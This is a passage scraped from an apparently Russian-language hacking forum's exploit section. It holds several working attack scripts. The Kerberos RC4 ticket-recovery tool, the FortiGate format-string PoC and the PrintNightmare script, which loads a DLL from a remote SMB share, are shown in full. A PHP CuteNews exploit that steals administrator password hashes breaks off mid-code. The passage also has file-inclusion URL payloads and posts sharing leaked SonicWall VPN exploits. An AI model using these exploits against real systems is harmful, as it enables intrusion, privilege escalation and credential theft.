        credential['tktflags'] = flags

        credential['num_address'] = 0

        credential.ticket = CountedOctetString()
        credential.ticket['data'] = encoder.encode(TGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
        credential.ticket['length'] = len(credential.ticket['data'])
        credential.secondTicket = CountedOctetString()
        credential.secondTicket['data'] = b''
        credential.secondTicket['length'] = 0
        ccache.credentials.append(credential)
        return ccache

    def run(self):
        logging.info("Getting TGT - Retrieving AS-REP")
        tgt  = self.getTGT()
        decodedtgt = decoder.decode(tgt, asn1Spec = AS_REP())[0]
        encryptedAsREP = bytes(decodedtgt['enc-part']['cipher'])
        logging.info("Trying to recover the RC4 Flow")
        sessionKey = self.RecoverKey(encryptedAsREP)
        logging.info("Recovered Session key: %s"%sessionKey.hex())
        TGS = self.TGTtoTGS(decodedtgt, sessionKey)
        logging.info("Got TGS for %s"%self.__servername)
        decodedtgs = decoder.decode(TGS, asn1Spec = TGS_REP())[0]
        ccache = self.TGSToCCache(decodedtgs, sessionKey)
        logging.info("Saving ticket in %s" % (self.__user+'_'+self.__servername+'.ccache'))
        ccache.saveFile(self.__user+'_'+self.__servername+'.ccache')

# Process command-line arguments.
if __name__ == '__main__':
    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "Retrieve a TGT for a user having"
                                  "'Do not require Kerberos preauthentication' set and export their TGS of the given server")

    parser.add_argument('target', action='store', help='domain/username')
    parser.add_argument('serverName', action='store', help='server name')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                                                                              'ommited it use the domain part (FQDN) '
                                                                              'specified in the target parameter')

    options = parser.parse_args()
    # Init the example's logger theme
    logger.init(options.ts)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password = parse_credentials(options.target)
    if domain == '':
        logging.critical('Domain should be specified!')
        sys.exit(1)

    try:
        executer = TGTBrute(username, domain, options.serverName, options)
        executer.run()
    except Exception as e:
        logging.debug("Exception:", exc_info=True)
        logging.error(str(e))

github.com

[ GitHub - Bdenneu/CVE-2022-33679: One day based on

https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered- harmful.html ](https://github.com/Bdenneu/CVE-2022-33679)

One day based on https://googleprojectzero.blogspot.com/2022/10/rc4-is-still- considered-harmful.html - GitHub - Bdenneu/CVE-2022-33679: One day based on https://googleprojectzero.blogspot.com/2022/...

github.com github.com

DFSCoerce - новая атака на Windows-домен
ID: 67686ba3b4103b69df379be0
Thread ID: 69093
Created: 2022-06-23T09:03:47+0000
Last Post: 2023-04-22T14:48:18+0000
Author: Nomak
Prefix: Remote
Replies: 24 Views: 4K

Новая форма атаки на NTLM-ретранслятор Windows использует распределённую систему файлов MS-DFSNM для получения контроля над доменом. ссылка на PoC

https://github.com/Wh04m1001/DFSCoerce

LocalPotato or CVE-2023-21746
ID: 67686ba3b4103b69df379bd7
Thread ID: 81990
Created: 2023-02-14T18:47:51+0000
Last Post: 2023-05-02T01:04:19+0000
Author: Zodiac
Prefix: Local
Replies: 7 Views: 4K

this is Local Windows priv esc exploit. this fucks NTLM reflection that targets local auth

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F53ecb51587f283250585d8475e7443486f8cf59981ba22ab9b29ffc4e73b783b%2Fdecoder- it%2FLocalPotato&hash=42d779a97f176e60746512266c957587&return_error=1)

[ GitHub - decoder-it/LocalPotato ](https://github.com/decoder-

it/LocalPotato)

Contribute to decoder-it/LocalPotato development by creating an account on GitHub.

github.com github.com

Cisco - CVE-2023-20198 обсуждение
ID: 67686ba3b4103b69df379b7e
Thread ID: 100653
Created: 2023-10-22T16:40:08+0000
Last Post: 2024-02-09T23:08:56+0000
Author: pepel
Prefix: Web
Replies: 42 Views: 4K

На гитхабе уже довольно много эксплойтов с добавлением юзера и чеком на имплант.
Просмотрев их, у меня сложилось впечатление, что это фейки. Причем, некоторые не работают из-за банальных ляпов в коде.

Метод с добавлением юзера слишком тупой, не находите? Auth-bypass в POST- запросе на роуте /create_user с телом {"username":"user1", "password":"password1"}. Добавляет юзера с максимальными привелегиями? Что это за дичь? Очевидная же хрень, как такое могло стать уязвимостью вообще? Насколько в циско должны быть упоротые кодеры чтобы такое пропустить?

Но окей, допускаю что это может работать. Но в эксплойте оно никак не задействуется дальше. Имплант заливается без аутентификации. И есть особо отмоченные, кто ещё придумал свои роуты, например
https://github.com/sohaibeb/CVE-2023-20198/blob/main/CVE_CISCO_20198_V2.py
59 строка, check_url = f"{base_url}/implant_status". Откуда /implant_status? Кого /implant_status?

У меня вопрос к тем, кто уже пробовал заюзать эту багу на паблик экспах - удавалось ли вам реально добавить юзера и зайти в web-админку?
Подозреваю, что сканер импланта там работает, но это будут уже взломанные кем- то системы.
Насчет всего остального одни вопросы.

[CVE-2024-23113] FortiOS, FortiPAM, FortiProxy и FortiWeb (POC)
ID: 67686ba3b4103b69df379b20
Thread ID: 125788
Created: 2024-10-29T14:59:02+0000
Last Post: 2024-11-27T07:21:30+0000
Author: rand
Prefix: Remote
Replies: 24 Views: 4K

GIT: https://github.com/zgimszhd61/CVE-2024-23113

Новость: https://www.securitylab.ru/news/552870.php

Переведенные комменты в POC:

Python:Copy to clipboard

import socket
import ssl
import struct

def check_vulnerability(hostname):
    """
    Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
    Параметры:
        hostname (str): Имя хоста, который необходимо проверить.
    Возвращает:
        bool: True, если устройство, вероятно, уязвимо, False в противном случае.
    """
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                return analyze_server_response(ssock)
        except ssl.SSLError as ssl_err:
            return handle_ssl_error(ssl_err, hostname)
        except socket.error as sock_err:
            print(f"[-] Ошибка сокета: {sock_err}")
            return False

def create_ssl_context():
    """Создает и возвращает SSL-контекст с необходимыми настройками."""
    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.options |= ssl.OP_NO_COMPRESSION
    return context

def create_socket():
    """Создает и возвращает сокет с настроенным таймаутом."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    return sock

def connect_socket(sock, hostname, port):
    """
    Подключает заданный сокет к указанному хосту и порту.
    Параметры:
        sock (socket.socket): Сокет, который необходимо подключить.
        hostname (str): Имя хоста, к которому необходимо подключиться.
        port (int): Номер порта, к которому необходимо подключиться.
    Возвращает:
        bool: True, если подключение успешно, False в противном случае.
    """
    try:
        sock.connect((hostname, port))
        return True
    except socket.error as e:
        print(f"[-] Не удалось подключиться к {hostname}: {e}")
        return False

def analyze_server_response(ssock):
    """
    Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
    Параметры:
        ssock (ssl.SSLSocket): SSL-обернутый сокет.
    Возвращает:
        bool: True, если сервер, вероятно, уязвим, False в противном случае.
    """
    initial_data = ssock.recv(1024)
    if not initial_data:
        print("[-] Не получены начальные данные от сервера.")
        return False
    if len(initial_data) >= 8:
        pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
        pkt_len -= 2
    else:
        print("[-] Полученные начальные данные слишком короткие.")
        return False
    payload = ssock.recv(pkt_len - 8)
    if len(payload) < pkt_len - 8:
        print("[-] Получен неполный полезный код.")
        return False
    return send_format_string_payload(ssock)

def send_format_string_payload(ssock):
    """Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
    format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
    packet = create_packet(format_string_payload)
 
    ssock.send(packet)
    response = ssock.recv(1024)
    if response:
        print("[+] Устройство, возможно, не уязвимо - получен ответ.")
        return False
    else:
        print("[+] Ответ не получен - требуется дальнейший анализ.")
        return False

def create_packet(payload):
    """Создает пакет из заданной полезной нагрузки."""
    packet = b''
    packet += 0x0001e034.to_bytes(4, 'little')
    packet += (len(payload) + 8).to_bytes(4, 'big')
    packet += payload
    return packet

def handle_ssl_error(ssl_err, hostname):
    """Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
    if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
        print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
        return True
    else:
        print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
        return False

def main():
    while True:
        hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
        if hostname.lower() == 'exit':
            break
        is_vulnerable = check_vulnerability(hostname)
        if is_vulnerable:
            print(f"[!] Внимание: {hostname} уязвим!")
        else:
            print(f"[+] {hostname} не уязвим.")

if __name__ == "__main__":
    main()

Перевод Readme c гита:

CVE-2024-23113​

Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.

Как работает скрипт​

  1. Настройка сетевого соединения :
    • Сценарий сначала устанавливает SSL/TLS-соединение с целевым устройством на порту 541.
    • Он использует объект ssl.SSLContext и отключает проверку сертификата, чтобы иметь возможность подключаться к устройствам, которые могут использовать самоподписанные сертификаты.
  2. Создание полезной нагрузки :
    • После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
    • Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.
    • Эта вредоносная полезная нагрузка отправляется на целевое устройство через установленное соединение.
  3. Логика обнаружения :
    • Затем сценарий проверяет поведение целевого устройства после получения вредоносной полезной нагрузки.
    • Если соединение внезапно разрывается и возникает предупреждение SSL, это указывает на то, что цель уязвима, поскольку была вызвана защитная механика (например, _FORTIFY_SOURCE в glibc) от уязвимости форматной строки.
    • Если соединение остается открытым, это может означать, что целевое устройство, возможно, было исправлено.

Инструкции по использованию:​

  1. Запустите скрипт, используя Python 3, выполнив следующую команду:

Bash:Copy to clipboard

    python POC-CVE-2024-23113.py
  1. Система запросит ввод имени хоста или IP-адреса устройства, которое необходимо проверить на наличие уязвимости. Или введите "exit" для выхода.
  2. Если целевое устройство уязвимо, скрипт выведет: Внимание: <hostname> уязвим!
  3. Если целевое устройство, похоже, исправлено, скрипт выведет: [+] <hostname> выглядит исправленным.

Системные требования:

P.S. В теории это можно адаптировать под это: CVE-2024-47575 (Хотя я могу ошибаться).

RCE\LPE, Windows Spooler Service, CVE-2021-34527\1675, PrintNightmare
ID: 67686ba3b4103b69df379c87
Thread ID: 53479
Created: 2021-06-30T15:58:03+0000
Last Post: 2021-07-26T11:40:48+0000
Author: ibenji
Prefix: Remote
Replies: 15 Views: 4K

Python:Copy to clipboard

#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import time
import pathlib

#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
    structure = (
        ('cVersion','<L'),
        ('NameOffset', '<L'),
        ('EnvironmentOffset', '<L'),
        ('DriverPathOffset', '<L'),
        ('DataFileOffset', '<L'),
        ('ConfigFileOffset', '<L'),
    )

    def __init__(self, data = None):
        Structure.__init__(self, data = data)

    def fromString(self,data):
        Structure.fromString(self, data)
        self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
        self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
        self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
        self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
        self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')


def connect(username, password, domain, lmhash, nthash, address, port):
    binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
    rpctransport = transport.DCERPCTransportFactory(binding)
    
    rpctransport.set_dport(port)
    rpctransport.setRemoteHost(address)
    
    if hasattr(rpctransport, 'set_credentials'):
        # This method exists only for selected protocol sequences.
        rpctransport.set_credentials(username, password, domain, lmhash, nthash)
    
    print("[*] Connecting to {0}".format(binding))
    try:
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)
    except:
        print("[-] Connection Failed")
        sys.exit(1)
    print("[+] Bind OK")
    return dce


def getDrivers(dce, handle=NULL):
    #get drivers
    resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
    data = b''.join(resp['pDrivers'])

    #parse drivers
    blob = DRIVER_INFO_2_BLOB()
    blob.fromString(data)
    #blob.dump()
    
    return blob


def main(username, password, domain, lmhash, nthash, address, port, share):
    #connect
    dce = connect(username, password, domain, lmhash, nthash, address, port)
    #handle = "\\\\{0}\x00".format(address)
    handle = NULL

    #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
    try:
        blob = getDrivers(dce, handle)
        pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
    except Exception as e:
        print('[-] Failed to enumerate remote pDriverPath')
        print(str(e))
        sys.exit(1)

    print("[+] pDriverPath Found {0}".format(pDriverPath))

    #build DRIVER_CONTAINER package
    container_info = rprn.DRIVER_CONTAINER()
    container_info['Level'] = 2
    container_info['DriverInfo']['tag'] = 2
    container_info['DriverInfo']['Level2']['cVersion']     = 3
    container_info['DriverInfo']['Level2']['pName']        = "1234\x00"
    container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
    container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
    container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"

    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
    filename = share.split("\\")[-1]
    print("[*] Executing {0}".format(share))

    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
    print("[*] Stage0: {0}".format(resp['ErrorCode']))
    for i in range(1, 30):
        try:
            container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
            resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
            print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
            if (resp['ErrorCode'] == 0):
                print("[+] Exploit Completed")
                sys.exit()
        except Exception as e:
            #print(e)
            pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
    """)
    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group = parser.add_argument_group('connection')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    #re-run if stage0/stageX fails
    print("[*] Try 1...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
    time.sleep(10)
    print("[*] Try 2...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
    time.sleep(10)
    print("[*] Try 3...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)

инфа и рос https://github.com/afwu/PrintNightmare
еще один рос https://github.com/cube0x0/CVE-2021-1675

сам тестил пока что на 5 хостах, появляется ошибка 0x5 - rpc_s_access_denied. как я понял у юзера не хватает прав.

Stored-XSS, Microsoft Outlook for Android < 3.0.88, CVE-2019-1105
ID: 67686ba3b4103b69df379ce3
Thread ID: 29950
Created: 2019-06-24T12:03:04+0000
Last Post: 2019-06-26T17:13:45+0000
Author: pablo
Prefix: Web
Replies: 2 Views: 4K

В Outlook для Android обнаружена уязвимость

Уязвимость получила идентификатор CVE-2019-1105 и затрагивала Outlook для Android до версии 3.0.88. Проблема представляла собой так называемую stored XSS, то есть «хранимую» или «постоянную» XSS-уязвимость, и была связана с тем, как приложение парсит входящие письма.

Эксплуатируя данный баг, удаленный атакующий получал возможность осуществить спуфинг-атаку и выполнить вредоносный код на стороне клиента, в контексте текущего пользователя, попросту отправив своей жертве специально подготовленное электронное письмо.

Согласно официальному заявлению Microsoft, о данной уязвимости сообщили сразу несколько ИБ-специалистов, но пока технические детали проблемы или proof-of- concept эксплоиты еще не были опубликованы. Специалисты Microsoft уверяют, что уязвимость не использовалась злоумышленниками для атак.

[ https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-1105 ](https://portal.msrc.microsoft.com/en- US/security-guidance/advisory/CVE-2019-1105)

![securityaffairs.co](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fsecurityaffairs.com%2Fwp- content%2Fuploads%2F2019%2F06%2Foutlook-for- android.jpeg%3Ffit%3D580%252C514%26ssl%3D1&hash=eb6defbe016b1f84899b4c7b1f43a347&return_error=1)

[ Microsoft fixed CVE-2019-1105 flaw in Outlook for Android

](https://securityaffairs.co/wordpress/87398/hacking/outlook-android- flaw.html)

Microsoft has addressed an important vulnerability (CVE-2019-1105) in Outlook for Android, potentially affected over 100 million users.

![securityaffairs.co](/proxy.php?image=https%3A%2F%2Fsecurityaffairs.com%2Fwp- content%2Fthemes%2Fsecurity_affairs%2Fimages%2Ffavicon.ico&hash=e887e732871b3fc7e077dd4eb1066006&return_error=1) securityaffairs.co

У кого-то есть подробности?

Слив - SonicWall SSL VPN
ID: 67686ba3b4103b69df379c4a
Thread ID: 62993
Created: 2022-02-15T10:58:09+0000
Last Post: 2022-04-23T23:01:15+0000
Author: Krypt0n
Prefix: Remote
Replies: 36 Views: 4K

Всем здрасте)) Вот сливаю вам соник, потому что эдакий чел /threads/62726/ из этого треда мб слил кому-то, а тот, в свою очередь слил уже на другой форум)) Прошу прощения всех, трудящихся!

Внутри архива недавно слитый вазавакой aka boriselcin (пидор) скрипт соника под терм и соник под панель.

DropMeFiles:

You must have at least 150 reaction(s) to view the content.

З.Ы Сливаю потому что мой соник слили на другом форуме..

Internet Explorer 6, 7, 8 [ActiveX]
ID: 67686ba3b4103b69df379df6
Thread ID: 19104
Created: 2010-03-02T14:07:22+0000
Last Post: 2010-07-16T23:34:44+0000
Author: DarckSol
Prefix: Remote
Replies: 8 Views: 3K

Spoiler: 10

уязвимость CHM
ID: 67686ba3b4103b69df379df7
Thread ID: 19289
Created: 2010-04-14T14:39:24+0000
Last Post: 2010-04-15T04:00:48+0000
Author: Exmanoize
Prefix: Local
Replies: 9 Views: 3K

Локальная уязвимость в файле справки CHM, запуск исполняемых файлов.
Возможно уже устранена в последних апдейтах винды, возможно нет.
Работает на всех виндах.
Сорс:

Spoiler: 30

Exma Group

пример CHM файла, запуск калькулятора:

Spoiler: 30

http://www.sendspace.com/file/2o7khe

LPE, Windows AppX (AppXSVC), CVE-2019-0841
ID: 67686ba3b4103b69df379ce4
Thread ID: 28696
Created: 2019-04-10T06:55:19+0000
Last Post: 2019-06-07T13:22:18+0000
Author: weaver
Prefix: Local
Replies: 1 Views: 3K

PoC:

github.com

rogue-kdc/CVE-2019-0841

PoC code for CVE-2019-0841 Privilege Escalation vulnerability - rogue- kdc/CVE-2019-0841

github.com github.com

Детали:

krbtgt.pw

[ DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)

](https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation- cve-2019-0841/)

TL;DR This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user. Intro First of all I would like to thank fellow...

krbtgt.pw krbtgt.pw

Уязвимость при обработке XML документов в Firefox
ID: 67686ba3b4103b69df379dff
Thread ID: 17242
Created: 2009-03-27T18:14:26+0000
Last Post: 2009-03-28T09:41:50+0000
Author: Одинокий Волк
Prefix: DoS
Replies: 1 Views: 3K

![](/proxy.php?image=http%3A%2F%2Fen- us.www.mozilla.com%2Fimg%2Ftignish%2Fhome%2Ffeature- logo.png&hash=c87cd075726088d28c27af4d810ea266)​

Программа: Mozilla Firefox 3.0.7 и более ранние версии
Опасность: Низкая
Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю произвести DoS атаку.

Уязвимость существует из-за некорректной обработки ошибок во время преобразования XML документа. Удаленный пользователь может с помощью специально сформированного XSLT кода аварийно завершить работу приложения. В случае удачной эксплуатации уязвимости злоумышленник сможет аварийно завершить работу браузера. Возможность выполнения произвольного кода не доказана, но теоретически возможна.

URL производителя: www.mozilla.com/en-US/firefox/
Решение: Способов устранения уязвимости не существует в настоящее время.

Источник: www.securitylab.ru

Багзила: https://bugzilla.mozilla.org/show_bug.cgi?id=485217

Эксплойт: [http://www.securitylab.ru/_download/exploi...ffox- poc.tar.gz](http://www.securitylab.ru/_download/exploits/2009/03/2009-ffox- poc.tar.gz)

// firefox XSL parsing remote memory corruption poc
// k`sOSe - works both in windows and linux
http://milw0rm.com/sploits/2009-ffox-poc.tar.gz

milw0rm.com [2009-03-25]

Click to expand...

Apache
ID: 67686ba3b4103b69df379e05
Thread ID: 6475
Created: 2006-01-12T04:40:09+0000
Last Post: 2008-06-12T11:36:56+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 1 Views: 3K

Уязвимость форматной строки в модуле auth_ldap в Apache
Программа: auth_ldap 1.6.0 и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость форматной строки обнаружена в функции "auth_ldap_log_reason()". Удаленный пользователь может с помощью специально сфомрированного имени пользователя выполнить произвольный код на целевой систме.
Решение: Установите последнюю версию (1.6.1) с сайта производителя.
http://www.rudedog.org/auth_ldap/auth_ldap-1.6.1.tar.gz
:zns2: произовдитель
Источник: www.securitylab.ru

Chaussette 1.x - File Inclusion Vulnerabilities
ID: 67686ba3b4103b69df379e12
Thread ID: 10470
Created: 2006-08-12T22:39:05+0000
Last Post: 2006-10-18T08:56:15+0000
Author: ENFIX
Prefix: Web
Replies: 2 Views: 3K

Chaussette "_BASE" - File Inclusion Vulnerabilities
Дата Выпуска: 2006-08-11
Уровень: Высоко критический
Решение: Неисправленно
ПО: Chaussette 1.x
Описание:
Входящие данные в параметре "_BASE" в classes/Evenement.php, classes/Event.php. classes/Event_for_month.php, classes/Event_for_week.php, classes/My_Log.php, classes/Event_for_month_per_day.php и classes/My_Smarty.php должным образом не фильтруются перед использованием при загрузке файла. Это может эксплуатироваться, чтобы залить произвольные файлы.
Примеры:

Code:Copy to clipboard

www.site.com/classes/Evenement.php?_BASE= 
www.site.com/classes/Event_for_week.php?_BASE=  
www.site.com/classes/My_Log.php?_BASE=
CuteNews <= 1.4.1 (function.php) Local File Include Exploit
ID: 67686ba3b4103b69df379e19
Thread ID: 7569
Created: 2006-03-27T05:30:22+0000
Last Post: 2006-09-10T00:18:46+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 4 Views: 3K

CuteNews <= 1.4.1 (function.php) Local File Include Exploit
программа: CuteNews <= 1.4.1
Описание:
Ошибка была допущена в одной из функций в файле function.php.
Эксплоит позволяет получить хеш пароля любого администратора. Запускается непосредственно из браузера, никаких дополнительных доработок не надо, работает удаленно. Единственное, если есть проблемы с запуском, в php.ini нужно включить register_globals и allow_call_time_pass_reference.

Эксплоит:

Code:Copy to clipboard

<?php
// Happy NEW Iranian year .
// Happy Norouz  ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

error_reporting(0);
echo '<head><title>CuteNews 1.4.1 user Hash password Finder</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #000000;}
      body {background-color:EBEBEB #;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
        font-weight: bold;

              }
      -->
      </style></head>
      <body>
<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
 <p class="Stile6">Security ? . </p>
 <p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi  <a href="http://www.hamid.ir" target="_blank">.: Hamid Network Security Team :.</a></p>
<p class="Stile5">Happy Norouz  ( PERSIAN new year celebration ) Greetz to all Iranian Hackers spacially my friends in ihsteam.com  c0d3r.org  kapda.ir simorgh-ev.com hat-squad.com  blacknews.ws ashiyane.com websecurity.ir crouz.com shabgard.org hackerz.ir  and ...</p>



<p class="Stile6">read this paper about <a href="http://www.hamid.ir/security/" target="_blank">CuteNews 1.4.1   vulnerability</a></p>
<table width="84%" >
  <tr>
    <td width="43%">
     <form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&". "port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /cutenews/example2.php ) </span></p>
      <p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">specify a file  other than /../users.db.php%00 to read  </span></p>
      <p>
          <input type="submit" name="Submit" value="go!">
      </p>
<p class="Stile5">Spacial THX : rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a> for his great codes (i just change few lines of RGOD old NETQUERY remote commands execution exploit)</p>
    </form></td>
  </tr>
</table>
</body>
</html>';

function show($headeri)
{
$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$proxy=$_POST[proxy];
$command=$_POST[command];
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
       }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>  </td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
       }

echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host<>''))
{
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;
if ($proxy=='')
       {$packet="POST ".$path."  HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...
';
             die;
            }
         else
        {$packet="POST http://".$host.$path." HTTP/1.1\r\n";}
        }

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
